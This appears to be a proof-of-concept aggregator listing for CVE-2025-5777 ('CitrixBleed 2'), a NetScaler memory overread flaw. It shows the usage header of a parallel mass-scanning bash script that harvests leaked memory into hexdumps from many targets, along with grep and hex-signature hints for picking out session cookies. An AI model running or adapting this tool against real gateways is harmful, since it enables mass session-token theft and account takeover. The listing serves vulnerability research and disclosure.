CVE-2025-5777 PoC — NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread

Source

https://github.com/Chocapikk/CVE-2025-5777

Associated Vulnerability

Title: NetScaler ADC and NetScaler Gateway - Insufficient input validation leading to memory overread (CVE-2025-5777)
Description:Insufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server

Description

CitrixBleed 2 (CVE-2025-5777)

Readme

```bash
# citrixbleed2_parallel.sh – Mass‑scanner for CitrixBleed 2 (CVE‑2025‑5777)
# -----------------------------------------------------------------------------
# USAGE
#   Single host – 10 000 requests, 300 jobs, no OpenSSL tweak, progress bar
#       ./citrixbleed2_parallel.sh -n 10000 -j 300 --no-ssl-conf --progress https://gw.example.com
#   Batch file – 5 000 requests each, results under out/
#       ./citrixbleed2_parallel.sh -f targets.txt -n 5000 -o out --progress
# -----------------------------------------------------------------------------
# OPTIONS
#   -f, --file FILE        File with one target per line (host or URL)
#   -n, --requests N       POST requests per host              (default 100)
#   -j, --jobs J           GNU parallel job count              (default 50)
#   -o, --out-dir DIR      Directory for per‑host hexdumps      (default "dumps")
#   --no-ssl-conf          Disable UnsafeLegacyRenegotiation OpenSSL tweak
#   --progress             Show GNU parallel real‑time progress bar / ETA
#   -h, --help             Show this help and exit
# -----------------------------------------------------------------------------
# OUTPUT
#   * Continuous hexdumps to STDOUT (line‑buffered)
#   * Per‑host files: DIR/<host>.hexdump (written in real‑time, flock‑protected)
# -----------------------------------------------------------------------------
```

## Find hits:

`grep -Ri "35 66 34 66"`

> Session cookies always end with the hex sequence 45525d5f4f58455e445a4a42. Incorporating this information can greatly enhance the accuracy of session token detection.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →